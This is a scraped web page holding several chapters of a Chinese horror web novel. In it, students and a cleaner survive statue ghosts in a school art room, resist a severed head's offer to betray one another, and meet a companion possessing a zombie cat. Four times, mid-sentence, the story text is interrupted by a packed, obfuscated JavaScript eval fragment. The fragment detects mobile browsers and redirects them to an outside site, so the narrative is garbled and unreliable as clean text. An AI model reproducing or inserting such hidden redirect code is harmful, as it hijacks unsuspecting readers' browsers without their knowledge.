l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240775|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦语说。 “地上的那两位可能已经熟睡了。我们就还是不必叨扰它们了。”今浅指着躺倒在地,闭眼装作什么都不知道的帽子男和麻花辫女生。 秦语顿了顿,低声说:“如果我出去了,我会帮你们照顾你们家人的,顺便完成你们一直想完成的愿望。” 麻花辫女生轻飘飘地说:“如果你真的这么好心,你就不应该让我们冒着这份危险。甚至不应该有半夜进学校的想法。” “不行,我必须要知道这件事情的真相。”秦语说,“这对我来说,非常重要。” “这件事情,谁会在乎?”麻花辫女生冷笑一声,“你就算想让成绩提高,我也不会说你什么……可偏偏,你口中的那个愿望可真够虚伪的。” “你是什么都不知道,稀里糊涂就过来的。但我可很清楚。”帽子男冷哼一声。大概是因为知道自己已经快死了,横竖离不开这个诡异的世界,也因此,他什么都不在乎,破罐子破摔,准备把他知道的事全部都抖出来。 “她会这么做,纯粹是因为她心中有愧,心里有鬼。呵呵,早知道会有现在,你会不会当初……呜……”帽子男还没有说完,裴佑就走上前,踩在它身上。 “你可以再试试,继续说会有什么下场。”裴佑的语气很平静,冷冷地俯视帽子男,说,“就是不知道,变成雕像后,你会不会感觉到疼痛。” “……” 帽子男没有说话,但是它眼里写满了惊恐,仿佛看见了什么特别恐怖的事情。 “喂,那个新来的,你也看到了!你身边这些,可都不是什么大善人。”麻花辫女生却抓住了这次机会,不留余力地说,“可别等到你被骗了,才想起我们今天的劝告!” “它们都是污蔑我的,我……”秦语解释到最后,也发现自己的措辞苍白,便只能沉默。 “你做过什么事情与我无关。我们现在能合作的原因,只是因为我们有相同的目的,那就是离开这个怪谈世界。”今浅淡淡地说,“如果你真的做错什么事情,或者被误解了什么,你要解释的对象并不是我。” 今浅抬头。 红色的倒计时仿佛在滴血。 现在,只有三分多钟。 “你误会秦语了,她其实……”裴佑刚想为秦语说话,但下一刻就被秦语打断了。 “够了,她说的对。”秦语深吸一口气,说,“现在最重要的事情,并不是解释纠葛,而是立刻离开。我们现在应该早点找到小A。” 裴佑深呼吸,平复心情后,收回脚。 帽子男突然面露狞笑,以迅雷不及掩耳之势,张嘴狠狠地咬住裴佑的腿。 “裴佑!”秦语的声音同时在他耳边响起。 “我的腿——”裴佑的痛呼声被硬生生卡在喉咙里,他低头,下一刻瞳孔骤缩。 帽子男恶笑,它嘴里叼着他的小腿肉。 这根本就不是人类能啃下的东西! 帽子男张开血盆大嘴,准备再接再厉, “快闪开。” 裴佑听见今浅冷淡的声音在他耳畔响起,他下意识遵循口令,进行闪避。 37. 第 37 章 几乎是在裴佑收回腿的刹那间,破空的铁棍就被今浅挥舞过来。 帽子男还没有反应过来,眼前便天旋地转。 耳边轱辘轱辘的声音,就像皮球滚动,膈得它有点头疼。 直到它后脑勺砸到墙壁,世界停止转动。 在逐渐模糊的视线中,它的身体在就在十米开外,中间是一条宛如红围巾一样的血线。 帽子男这才后知后觉,自己的头被人当作高尔夫球打飞了。 方才,今浅注意到帽子男的不对劲,便在他们交谈的时候拾起铁棍,接近他们。 尽管她疏忽了片刻,没有在第一时间阻止帽子男,但还好帽子男第一次当雕像鬼,业务还不太熟练,第一口没有咬穿裴佑的腿。 帽子男贪第二口,今浅便趁着中间的间隙,奋力挥舞铁棍。 变成雕像后的,帽子男的头易碎,就像她之前砸碎的那些雕像一样。 只是,不太友善的是,它的头断掉的瞬间,许多碎屑也跟着飞翔,像是暗中操控的暗器,直击她的面门。 今浅只能堪堪侧头躲闪,一些比较尖锐的碎屑擦过她的脸颊,留下浅浅的血线。 那颗头的飞行方向正好是在那堆凶神恶煞的雕像对脚。 在那颗头停下来之后,旁边那群雕像头如同饿了很久的野狗,迫不及待地一拥而上,狼吞虎咽吃起来了。 今浅猜测,雕像头对这颗头的兴趣如此大的原因,可能是因为这颗头是刚变成雕像鬼的萌新,口感比老油条要好很多。 毕竟,从这群雕像头身上的伤口来看,这种互相厮杀进食的事情,肯定发生过不止一次。 那群雕像鬼离开了那片角落,躲在里面的一颗五颜六色的头颅便显现出来。 “那个就是我们要找的东西了吧!”秦语惊喜,小跑过去,蹲下后,却面露难色,回头朝今浅说,“这个只有头。身体手臂腿这类的,什么都没有。” “看来那个小A说的感觉自己的身体在这间美术室,是感知到了它的头。”今浅若有所思,“那么,它之前跟我们说的,找到它,实际上就是要找到藏在学校各处的尸体碎片。” “……听起来有点恶心。”秦语揉了揉手臂,“不会尸体腐烂发臭了吧。” “我才不臭!”秦语脚边的头突然开口,正好是小A的声音。 秦语被吓得跳了一下,差点就要踩到小A。 “它没有否认我刚才说的话。”今浅总结,“所以,我们确实要收集它的碎片。那么,你放心,我们一定能给你收集完的。但事成之后,你也要让我们离开吗。” “这种事情,根本就没有人能做到。”小A不屑地撇嘴,“你凭什么说你们能行?” “那你凭什么说我们不行?” “之前那些狡猾的人类都没有做到。” “所以他们被留在了这里。”今浅说,“但,我们跟他们绝对不一样。” 今浅停了一会儿。 她知道再这么纠缠下去,时间是不会允许的,而话题也会陷入死循环。 “我们来做交易。”今浅果断,“给你身体,你还我们自由。” 和鬼商量事情,这种事鬼信不信,今浅不知道,但今浅本身肯定不信,此时却不得不劝自己相信。 小A不再开口。 看样子,它在思考。 “你没事吧?”今浅趁着这个时间,随手擦了一把脸。脸上的伤口有点发肿发烫,带着点痒意。 可能是伤口正在结痂吧。 今浅回头,却没曾想,裴佑脸色发白,紧闭双眼,身形摇摇欲坠,就像是风雨中的小树苗。 今浅还没来得及叫出他的名字,后者两眼一翻,直接晕倒在地。 今浅:……? 眼前的场景有些奇怪,但今浅不知道奇怪在哪。 她开始回忆着刚才发生了什么,无果。 自己应该也不是长得凶神恶煞的类型,就连刚才救援的姿势也格外英勇。 于情于理,他都不应该因为看见自己而倒地。 “他这是……晕血?”百思不得其解的今浅看向秦语,有些疑惑,“还是,失血过多?” “大佬,我们先别在意这些……”秦语有些艰难地抬手,指着裴佑的伤口,说,“比起他是否晕血,这流出来的颜色,明显就不对吧。” 今浅一怔,顺着秦语的指示再次打量。 裴佑的伤口静静地流淌鲜血,就像是一条粉红色的溪流。 “难道是……”今浅沉思着,她还没有学过这种事情怎么处理,书上也没有提及相关的事情。 这种感觉,就像是自己把古诗背得滚瓜烂熟,英语词汇烂熟于心,万事准备周全,只欠东风,这次一定能拿下高分时,考场上出现了从来都没有见过的高数。 在秦语期待的目光下,今浅只能试探性地问:“他天生贫血?” “……重点是裴佑的血不是红色的,是粉红色的吧!大神,这说明什么啊!” “说明他很有少女心?”今浅已读乱回。 “……我觉得现在的重点应该是给他包扎。”沉默依旧的相机男默默开口。 剩下两人大眼瞪小眼。 “我没学过包扎。”今浅理直气壮,“万一我把他包得血全都流光了,那就不怪我了。” “我也不会啊。”秦语说,“我只在电视剧里见过绷带。” 她若是真受伤了,那么被率先问责的会是保护她的人。 秦语可不希望只是因为自己,身旁的人就被无辜牵连。 今浅和秦语的视线落到相机男身上。 “……好吧,那我来吧。”相机男叹气,认命般上前包扎。 相机男扫了一眼今浅,突然顿住,指着今浅的脸,说:“大佬,你的脸……” “我的脸?”今浅疑惑,摸了摸脸颊。 手上一片湿漉,粘稠,温热。与此同时,脸上一阵刺痛。 是刚才,帽子男雕像化后溅射的碎片造成的伤口! 今浅反应过来,可是大脑突然变得昏沉,她四肢就像是灌了铅一样沉重。 她也倒在地上。 面上的血滴落在素白的地砖上,就像是纸上开出来一朵又一朵淡粉色的花。 随着流出来的血越来越多,今浅也越来越无力,而血的颜色也越来越浅。 “大佬,你的血,也变粉了!”相机男说,“你也很有少女心啊。” “这个时候已经不适合讲冷笑话了。”秦语着急,“我们现在该干什么?!” “快去拿头。”今浅用尽最后的力量。 她看向那颗头。也许是刚才秦语的话启发了他们,它完完全全变了一个样子——腐烂得很彻底,黑黄的腐肉盖在蜡黄的头骨上,神经和血管裸露在外,面容已经被破坏了,光是远远的看一眼就感觉到强烈的臭气扑面而来,具有非常强大的精神攻击。 相机男干呕了一声,瘫倒在地,一蹶不振。 “你们放弃吧。”也许是已经看见了胜利的曙光,这颗腐烂得万分彻底的头颅笑了一声,说,“其实你们离答案很接近,但还是很可惜,猜错了。这间美术室的杀人规则,并非是剥离色彩的‘褪色’。” “可是,那张布上明明写着,雕像触碰到的颜色就会消失。”秦语说。 “因为你们没有找全。”小A笑了一下,说,“答案就藏在你们的脚下。” 秦语顿了顿,低头。 他们踩在雪白的雕像碎屑之间。秦语擦了擦碎屑,看见了一行字。 【白色是无罪的。】 秦语顿了顿,加快清扫的速度。 果不其然,又露出来下一行字。 【——是罪孽深厚的。】 一道红色的血迹贯穿了这行字。 秦语顺着血迹寻找源头,瞳孔地震。 麻花辫女生不知何时,尸体面目全非,流着鲜血。 “怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260154|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会如此。”秦语喃喃道。 小A在他们都不知情的情况下,把麻花辫女生的血抹到了这句话上。 如此以来,这句话就变成: ——红色,是罪孽深厚的。 这就是裴佑和今浅流出来的血液会褪色的原因。 “当他们的血都流光的时候,他们就会变成雕像里的一员了。”小A的语气很欢快,而秦语只觉得天崩地裂,喉咙就像是被无形的手扼住,难以出声。 “不过,看在你伤势不深的情况下,我给你个机会。”小A笑了一下。 下一刻,美术室的门就被自动打开。 倒计时显示不到1分钟。 “只要你现在抛弃他们,转身走向出口,你就能安全离开这个怪谈世界。”小A说,“而且,我保证,你从今以后,都不会再进入类似这种怪谈世界。” 秦语沉默。 相机男刚想起身,却被无形的力量摁下去。 “不行哦,这个机会是我特地给秦语的。”小A笑了一下,态度不容置否。 “你认识我。”秦语皱眉,捡起地上的头。 “你是想说为什么我会知道你的名字,对吗?”小A说,“刚才他们都叫了你的名字。对此我很抱歉,不小心听到了你的隐私了。” “不。是你的语气,让我有点熟悉。” “劝你想好了哦,现在只有不到30秒的时间了。” “不要听它的。”今浅深呼吸,想找回理智,但是血流的速度和变浅的速度让她大脑空白了一瞬。 “它之所以这么说,是因为它现在只有头,手无缚鸡之力。”今浅说,“只要你手中有它的头,它就只能对你好言相劝,让你放弃拿着这颗头做坏事的决心!” 小A提醒:“你可要想清楚。如果你碰我的头,你不仅会失去离开的机会,还会像他们一样,成为这些雕像的一员——就像这个麻花辫女生,帽子男和这些雕像一样,不人不鬼。” “秦语,砸碎那颗头。”今浅冷声说,“既然它不愿意合作,那么我们也不再给它任何复活的希望——反正,最后说不定某个鬼还要低声求其他人拼凑它的头骨碎片。” “别听她的。”小A说,“想想你爸妈是怎么教你的,学校是怎么教你的,旁边同学是怎么对你的。凡事先为自己着想是天经地义,你无需为他人的痛苦而自责。” 秦语低声问:“可,就算,这种事情是踩在别人的尸体上完成的吗?” “当然。”小A理所当然,“每个人的出生是无法改变的。我们的精力也是有限的。与其把注意力放在那些无关紧要的人身上,倒不如专心提高自己。我知道你心地善良,很难受。可没办法,现实就是这么残酷。” 秦语握紧头,复杂地看了一眼今浅,低声说:“抱歉,我可能……” “没事的,秦语。我不怪你。如果是我,面对这么庞大的诱惑,肯定很难不会心动。”今浅撑在地上,只需要稍微侧头,就能看向旁边——断了头的帽子男躯干正安静地倒在她的旁边。 但今浅只是看着地面,感叹般:“这还是我进城以来,第一次遇见像你这样的人。这一路上,很少有人愿意相信我——你是为数不多的。” “我……”秦语微微愕然。 “所以,真的很感谢你。”今浅很温和,说,“让我在死前,见证了人类的温暖。” 也许是一直以来,今浅在秦语的心里都是冷面无情的形象,以至于今浅这突如其来的温柔,让秦语猝不及防的同时,也窥见了几分今浅的脆弱。 秦语这才意识到,面前的这位“保洁”,其实也只是比她大一岁。 “所以,秦语,你可以从那扇门离开。”今浅笑了笑,说,“我,地上的裴佑和那个拿相机的男生,都不会怪你的。” “即便……”秦语的喉咙有些发紧,她才找回自己颤抖的声音,“即便,我自己一人出去?” 今浅只是笑了一下,没有多说。 38. 第 38 章 小A催促道:“好了吗?快点离开吧。” 短短的三十秒,似乎格外漫长,但又发生了太多的事情。 “没事的,秦语,你只需要顺从你的内心,做出你最不后悔的事情吧。”今浅勉强撑着身体,握紧拳头。 “做出选择吧,秦语。”小A微笑。 秦语攥紧头的手指力度较大,指尖发白。 她深吸一口气,放下头,在小A鼓励欣喜的目光下,朝着门走了几步。 然后猝不及防地转身,助跑,勾脚前伸,猛然踢向倒在地上的小A头。 宛如一个动作不太熟练,但意志坚定足够弥补一切的足球先锋,踢下其人生中最重要的一脚。 “为——什——么——?”小A错愕的声音在半空中逐渐减弱,头的表情惊愕,不由自主张大的嘴巴喝进去了许多的风。 它在最高点上转了个完美的4A后,以优雅从容的态度逐渐落到那群雕像鬼的墙角。 天花板上的倒计时一愣,迅速加快倒计时的速度。 在那行血红色的数字全部归零时,窗外的雨停了。 美术室的众人只听见一声轻微的钟响,四周雕像鬼纷纷倒塌。 墙上的灰尘和地上的碎屑随着空中四处飞舞,凄惨的白色迅速褪去,取而代之的,是物体原本的颜色。 窗外的太阳逐渐升起,教室不再只有凄冷的蜡烛白光。 今浅感觉浑身一轻。那些令自己困扰的负面buff全部消失了。 她顿了顿,用手背蹭了蹭脸。 没有血迹。 自己脸上的伤口已经结痂了。 今浅环顾四周,相机男奄奄地抱着相机,躲在角落,似乎还没有从刚才的变故中缓回神。 帽子男和麻花辫女生的尸体,已经碎了一地,成为破碎的 “我扶着你吧。”秦语走上前,帮今浅起身。 “没想到,你居然会选择留在这里。”今浅说。 秦语“哼”了一声,稍微仰头说:“我只是还小,正处于年轻人的叛逆期。越想让我做某件事,我就越不去做某件事。” “难怪裴佑会叫你大小姐。”今浅说。 也难怪她会参加这种一听就很危险的游戏。 “裴佑,不过就是一个头脑简单的笨蛋而已。”秦语摊手,“不过是一起长大的,他没妹妹就把我当妹妹,还喜欢在我面前逞英雄,当然最后,还得我来花钱摆平这些事情。” “那你来这里,是想许什么愿望?”今浅好奇,“当然,如果实在不能告诉我,你可以不问,我以后也不再会追问。” 秦语沉思一会儿后,说:“其实对你来说,不算是什么大事。” 她咬着下唇,斟酌着,说:“我要问问……一个朋友的下落。” “朋友……”今浅若有所思,像是想到什么,说,“是向潇湘吗?” 秦语:!!! 秦语脸色大变,但下一刻今浅却转移了话题,好似刚才听到的那个名字只是她的幻觉。 “其实小A给的选项很有诱惑力,直接离开美术室。你怎么不选呢?” “我并不认为它说的话是对的。”秦语认真,说,“它之前说过,除了这间美术室,其它地方也会有人。再加上内鬼的buff,毫无疑问,我就算一个人出去,也不一定是离开这个世界,只是离开美术室。那么一定会面临更危险的厮杀。” 今浅意外地多看了几眼秦语。 后者只是沉吟,说:“我除了钱以外,什么都没有。一个人出去一定死路一条。因此,比起前面的单打独斗,我还不如拼一把有其它的出路。” 就像做数学题不只有一种解法,他们离开美术室,也绝不只有听小A口中的这一种方法。 "原来是这样啊。"今浅感叹,“我还以为是我的话让你感动了。” “是啊。”秦语果断承认,让今浅愣了片刻。 秦语没管今浅怎么想的,只是认真地说:“我的直觉让我相信一件事,那就是——你能带我们一起离开这个世界。” “……这么容易就交付信任,不惜赌上自己的性命嘛。”今浅轻笑一声,说,“如果我没有这个能力呢。” 还真是天真冲动的学生啊。 “那就怪我眼光太差,直觉不准看错人了吧。”秦语诙谐一瞬,眨了下眼,说,“不过,如果你什么办法都没有,那么你肯定不会主动进来的。” “你竟然能想到这么多。”今浅侧头。 “如果你能带着我们离开美术室,就相当于打破了这些鬼怪口中说的‘只有’一人才能离开美术室这件事情。”秦语看向窗外,日光落入室内,溅射到秦语和今浅二人身上。 秦语说,“这意味着,我们并非只能互相背叛才能离开这个世界,合作同样都拥有离开的机会——我们之间不再自相残杀,而是可以携手对抗这些鬼怪,这会大大增加我们存活的希望。” 从地球诞生至今,人类没有恐龙那么强壮有力的体魄,没有鲨鱼那么气势汹汹的牙齿,没有鸟类那么自由翱翔的翅膀。 人类弱小,脆弱,在天灾面前不堪一击。 可就是这么渺小且脆弱的存在,却能在短短几百万年间,一跃成为了地球的霸主。 这仅仅只是因为,在危难和困境面前,人类学会了团结,学会了合作,学会了不放弃自己的同伴。 “没想到我只是来学校当个保洁打打工,身上就多背负了好几条人命。”今浅苦笑了一声,“你就不怕我是内鬼?” “你不必有压力,一切都是我们自愿的。”秦语连忙解释,“要怪就要怪我的自作主张,和我的直觉。” 当然,她的直觉从来都没有出错。 倒在地上的裴佑呢喃了几句,缓缓睁开双眼。他神情迷茫,揉了揉头,撑起身体,问:“发生了什么?” 一看清周围的环境,他立马想到了昏迷前的事情。 窗外的阳光很温暖,裴佑连忙上下检查自己,语气轻松,难以置信般的欣喜:“我们这是,到第二天,活下来了?” “不是哦。”今浅晃了晃自己独剩的右臂,说,“我们还没离开,只是活过第一晚。” “……”裴佑就像是焉了的小白菜,萎靡不振,“我们还得活几天啊。” 现在,他们身上都挂了彩,也就秦语干净一点。 “门应该是开不了,不过可以试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263984|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试砸窗。”今浅说,“正好,那边是走廊,我们跳窗是没有风险的。” “交给我吧。”裴佑撸起袖子,抄起今浅旁边的铁棍,朝着玻璃砸去,三五下就把玻璃砸碎,再把周围比较危险的尖角去除,眼前就是比较安全的大洞。 砸完后,裴佑顿了顿。 “放心了,这个世界的所作所为应该不会影响到现实。”秦语轻飘飘地说,“再怎么样,我也会给你垫后的——就像以前一样。” “那我就放心了。”裴佑拍了拍自己的胸膛,说,“毕竟我自认为,自己还是个好学生。” “嗯,逃课翻墙,班级倒数的好学生。” “那都是为了谁。再说了,砸窗可不一样,那太明目张胆了。” 两人拌嘴时,今浅已经悄悄翻窗离开了美术室。 秦语见今浅离开了,连忙跟上。 他们几乎是刚刚离开美术室,站直在艺术楼的走廊上,突然听见一道恶狠狠的猫叫声。 裴佑下意识回头,顿时吓得跳脚,说:“为什么学校会有大型的丧尸老虎?!” 几乎都有一堵墙那么高大! “我们分开跑。”今浅说完,转身就溜,秦语落后了几步,被裴佑拉上。 两个人一起跑,目标太过显眼。好在现在是“白天”,丧尸猫只是跟在他们的后面,撵着他们往前跑,没有任何想要吃他们都打算。 秦语欲哭无泪,但只能硬着头皮。 他们现在来到了实验楼。 裴佑眼疾手快,看见一间实验室是开着的,立刻拉着秦语冲进去,反锁门。 两人蹲坐在门前,抵着门。 门上的玻璃透光,丧失猫的影子在他们前面徘徊了片刻,而后离去。 “我们安全了吗?”秦语不安地说。 不知道大神怎么样了。 “没有哦。” 在场突然想起来第三个人的声音。 秦语和裴佑的脸瞬间失去血色。 他们抬头,发现实验室的角落里,坐着好几个熟悉的面孔。 如果今浅在这里,便能看出来,其中几位熟面孔里就有黄立,和谭迟。 “小朋友们,你们好呀,不用太担心,我并没有恶意。”谭迟礼貌地笑了笑,说,“我的本职工作是法医,出现在这里,是受到了警方的邀请,来学校验尸——可不是偷偷跑进来的哦。” 谭迟掏出来工作证。 裴佑和秦语对视一眼,却并没有开口。 “没关系,我能理解。毕竟,这个怪谈世界非常危险。”谭迟笑了笑,说,“不过我也是老手了,参加过几次怪谈世界。我非常有经验——好比我的能力。” 他顿了顿,推了推眼睛,慢条斯理地介绍:“我的能力便是,跟我对视超过十秒的人,就会跟我绑定生命,为我分担伤害——也就是说,这两位新来的小朋友,你们的生命现在也跟我绑在一起了,要好好保护我哦~。” 裴佑和秦语心头同时一沉。 秦语看向裴佑,裴佑摇头。 身后的门开不了。他们无法离开。 面前的人恐怕都来者不善。 也就是说,现在他们危险了。 39. 第 39 章 今浅离开的方向,和秦语他们的截然相反。好在那只巨大的丧尸猫追着的目标并不是她。 今浅停下来。 她跑进了茂密的小树林。 说是小树林其实并不准确。 第一,小树林有树,但这里并没有树,只有高矮不一,埋进土里的四肢。 第二,树木是由棕色的树干和绿色的树叶组成的,而这些是由肤色的臂膀和红白相间的骨指组成的。 高一点的,是没有头和双臂、埋在地底的驱赶;矮一点的,是间距极小,用手臂和腿脚组成的灌木丛,就像是从地里长出来、宽厚有力的臂膀。 空气中弥漫着的是腐臭和铁锈的味道。 今浅屏住呼吸,突然听见身后传来沉重的脚步声。 今浅抬脚就想赶紧离开,然而背后响起的声音让她脚步一停。 “今浅,今浅,别跑啊,是我。” 声音很熟悉。 今浅不语,只是加快脚步。 “是我!我是闻啼。”闻啼赶紧出声。 今浅这才停下脚步。 但是当她即将转身的时候,闻啼出声制止:“咳咳,今浅,我知道,你不是那种在意容貌的人。在我心里,你就是平等地爱着所有人,对吧?” “虽然你把我说得像个博爱的渣女,但是你的话我很难不认同。”今浅说,“不过,你说这些干什么?” “所以,你确实不是颜控,对吧?”闻啼却揪着这一点不放。 “书上说了,脸不过是皮囊的一部分,并不能因此而否定一个人的全貌。”今浅说。 闻啼却没被今浅这么糊弄过去。 他再三确认这个话题,直到今浅无奈,连声保证自己不是那种及其极端的颜控后,闻啼才松了口气,让今浅转身。 今浅转身,看清来者后,瞳孔地震。 一只巨型“猫咪”正蹲坐在她的面前。它的毛色已经脏到看不出来,全身坑坑洼洼的,几乎没有一块好肉,隐约可见其中的骨头。 闻啼,正是刚刚追赶他们的“丧尸猫”! “听说,女生最喜欢毛茸茸的动物,尤其是小猫咪。”闻啼清了清嗓子,暗示般地说,“那么,你是喜欢小黑猫,还是小白猫,还是我这只可爱又迷人,性.感.露.骨的大猫咪呢?” “我喜欢小狗。” “猫!现在你只能在猫咪里面选择!”闻啼加了重音,像今浅暗示般地强调。 “……喜不喜欢先放旁边。”今浅默默移开视线,小声说,“你能不能转过去跟我说话。” “!!你刚刚可是说过,你不在乎我的颜值的!颜值不会影响我们之间的感情。”闻啼炸毛。 “这确实不会影响我们的感情。”今浅老实回答,“不过,会影响我的眼睛。” “呵呵,善变的女人。”闻啼冷笑,“这个世间有多了个心碎绝望的伤心男人,罪魁祸首就是你这个冷漠无情的坏女人!” “那你现在变成狗狗,就不会心碎绝望了。” “大猫咪就不能心碎绝望了吗?!就不能被你这个冷漠无情的坏女人伤害吗?!”闻啼悲愤痛斥今浅的狠心,配合着丧尸猫的外表,显得格外瘆人。 然而今浅并没有害怕,只是笑眯眯地看着闻啼炸毛。 闻啼说:“亏我在跟你走散后,见你进了美术室,怕你被其他人欺负,还千方百计想着进入那间美术室,帮扶你一把。” 就像今浅之前推测的那样。在踏入校园的那一瞬间,他们就进入了怪谈世界。 由于他的真身没了,所以在怪谈世界,闻啼可以选择任意物品当作自己的身体。 当时闻啼发现了这只死去的猫,就附身在这具尸体上。 闻啼刚适应了这具尸体,摇摇晃晃追踪到今浅的踪迹后,就看见他们一一进入美术室。 闻啼此时的状态也相当于半个“鬼怪”,自然是能感觉到这间看似普通的美术室里面藏着多少深不可测的鬼。 他急忙想拦住他们,无果。 他想跟着他们一起进入美术室,可最后一个进入的人居然有着随手关门的良好习惯,迎接他的是冰冷的门板。 闻啼在门外叫唤他们,没人开门。 闻啼试着撞门撞玻璃,但这种行为太过为难他这具刚复活的尸体。更别提,美术室的玻璃硬度堪比金刚钻,门他也撞不破。 而后来又遇见了不太好的事情。 “我记得,当时猫叫响起的时候,外面在下雨。”今浅回忆着,问,“所以你身上的这些伤口,是雨的原因吗?” “一半一半吧。”闻啼说,“我寄宿的这具尸体视力不太好,看不清雨中有什么东西,只知道那些东西落到身上很痛,像是被什么东西撕咬啃食一样。” 闻啼隐瞒了一些事情。 其实当时,为了进入美术室,他心急如焚,根本来不及做任何的防护措施。 以至于,当雨落到他身上的时候,他能清晰地感知到某些东西正试图与他争夺这具尸体的控制权,它们的力量强大到让他几乎丧失自己的理智,险些暴走。 这具尸体的“体型变异”和身上的大部分伤口,就是当时争夺后留下的产物。 如果不是雨及时停了,那些邪恶的东西哀嚎着死掉,他根本没有机会对抗那些东西,更别提消化这些残余的力量。 闻啼也不会像现在这样,故作轻松地出现在今浅面前。 “当时正好是在下雨的时候,美术室的鬼怪也出现了。”今浅说,“所以,这个世界下雨与否,就是‘昼夜交替’的依据。” 闻啼点头。 “不过,你刚才为什么要追着他们跑?” “啊,因为在你和那个女生中,就她的四肢健全。”闻啼若无其事地说,“没想到你居然这么好心。我还以为你是那种宁愿让别人吃亏,也会保护好自己的人。” “什么!”今浅震惊,悲伤说,“狗狗怎么能认错自己的主人呢。” “谁是你的狗啊!老子现在是迷人又可爱,性.感.露.骨的大野猫!” 也许已经脱离了人类的范畴,再加上跟今浅相处久了,日积月累的熏陶之下,闻啼毫不羞涩地自吹自擂。 今浅沉默,像是被闻啼恶心到了。 闻啼心情莫名好了,他吐槽说,“再者,谁能想到,居然有人能让你自愿断掉一根手臂。不过,走在走廊上就像在cos杨过,正好你又是沙雕,还省了找鸟的钱。” “我的手臂,可不是为了他们断的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16273749|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“嗯?”闻啼意外。 难道还有故事? “是为了,荣耀。”今浅严肃地说。 “……”闻啼无语。 论中二成程度和豁开面子,他都还是比不上今浅。 “不过,说到这里,还要请闻啼帮我做一件事情哦。”今浅偏头,笑了笑,说,“去美术室拿回一个玩具头,以及顺着那个头的气息,在这里找找有没有相似的味道。” “啧,你还真把我当狗用来。”闻啼吐槽,“再说了,这可是两件事情。” “美术室里的那颗头,有着很重要的线索,如果不是你把我们撵走了,我们吓得四处乱窜,才不会错过那些线索呢。” “……我只是太激动了。” 毕竟,那间美术室的气息恐怖到让被拒之门外的自己都瑟瑟发抖,而今浅平安出来了,闻啼差点忘记现在的身体,自然是情有可原。 闻啼见今浅表情没有丝毫意外,突然反应过来,说:“等等,你不意外?你早就知道了这件事!” 她早就知道那是自己,可偏偏扭头就跑! 害得他还以为自己真的吓到她了,在刚才白白担心那么久。 “诶,闻啼居然能想到这点。”今浅故作惊讶,“真的好厉害呀。” 闻啼震惊,痛恨自己的后知后觉。 眼前的人哪里老实纯朴,单纯善良啊,分明腹黑到心里都是芝麻馅。 吐槽归吐槽,闻啼也知道今浅现在的身体状况不适合拿东西,这些任务自然是他来分担。 闻啼撇了一眼今浅,说:“在这里乖乖等我,不要乱走。” 说完,他就轻巧一跃,离开了今浅的视线。 今浅看见闻啼离开,才松了口气。 她缓缓松开右手,一些大约有关节大小的金属形尖锐物品落到地上,发出清脆的碰撞声。 这些是今浅在小A和秦语对话时,用麻花辫女生的尸体做出来的。如果不是今浅倒地的位置正好和麻花辫女生挨得很近,她也很难在无人注意到情况下,做出这些东西。 今浅看出,刚才闻啼讲的事情有所隐瞒,并不是他在“黑夜”时遇见的所有事情。 自然,她也没有告诉闻啼,刚才自己真的差点丧命。 今浅踢了一下脚边的这些金属零件,把它们扫到草丛里。 闻啼其实说得没错。 她其实并不算是个好心人,尽管她一直按照义务教育教导的那样做一个好心的人。 今浅并非百分百把握秦语会选择砸头破坏头。因此在小A说话地时候,她就已经做好了备用的计划。 如果秦语选择离开,今浅会在这个选择做出的那一刻,毫不犹豫地扔出手中的这些金属碎片,不求把那颗头破坏掉,只是告诉小A,她就算倒地,也仍然有威胁到它的能力。 小A为了保护自己的头,一定会跟她谈判。 但中途会不会有人伤亡,就只能另说。 今浅藏好这些金属碎片后,拍了拍身上的灰,眉眼弯弯,坐等闻啼回来。 不过,看样子,这些东西已经没有用武之地了。 “哒……哒……哒……” 今浅顿住。 她身后,有个逐渐靠近自己的脚步声。 40. 第 40 章 今浅迅速回头。 那道脚步突然消失。 空荡荡的“四肢树林”,一眼望过去不见任何人影。 但今浅眼神很好。 她敏锐地发现,一颗“树木”的后面露出了半截校服。 “谁在那里。出来。”今浅看着那个方向,警惕起身,后退。 现在是“白昼”,鬼怪消失,此时出现在那里的,只能是人。 那人一顿,慢吞吞地走出来。 今浅只觉得这道人影很眼熟。 在看清来人的面容后,今浅才想起是谁。 向潇湘。 向潇湘依旧高挑,只是身上的校服带着棕黄的土渍,就像刚从土里爬出来。 “是我。”向潇湘顿了顿,小声说,“你之前帮过我的。” “我记得你。”今浅说,“不过,你不是已经死了吗?” 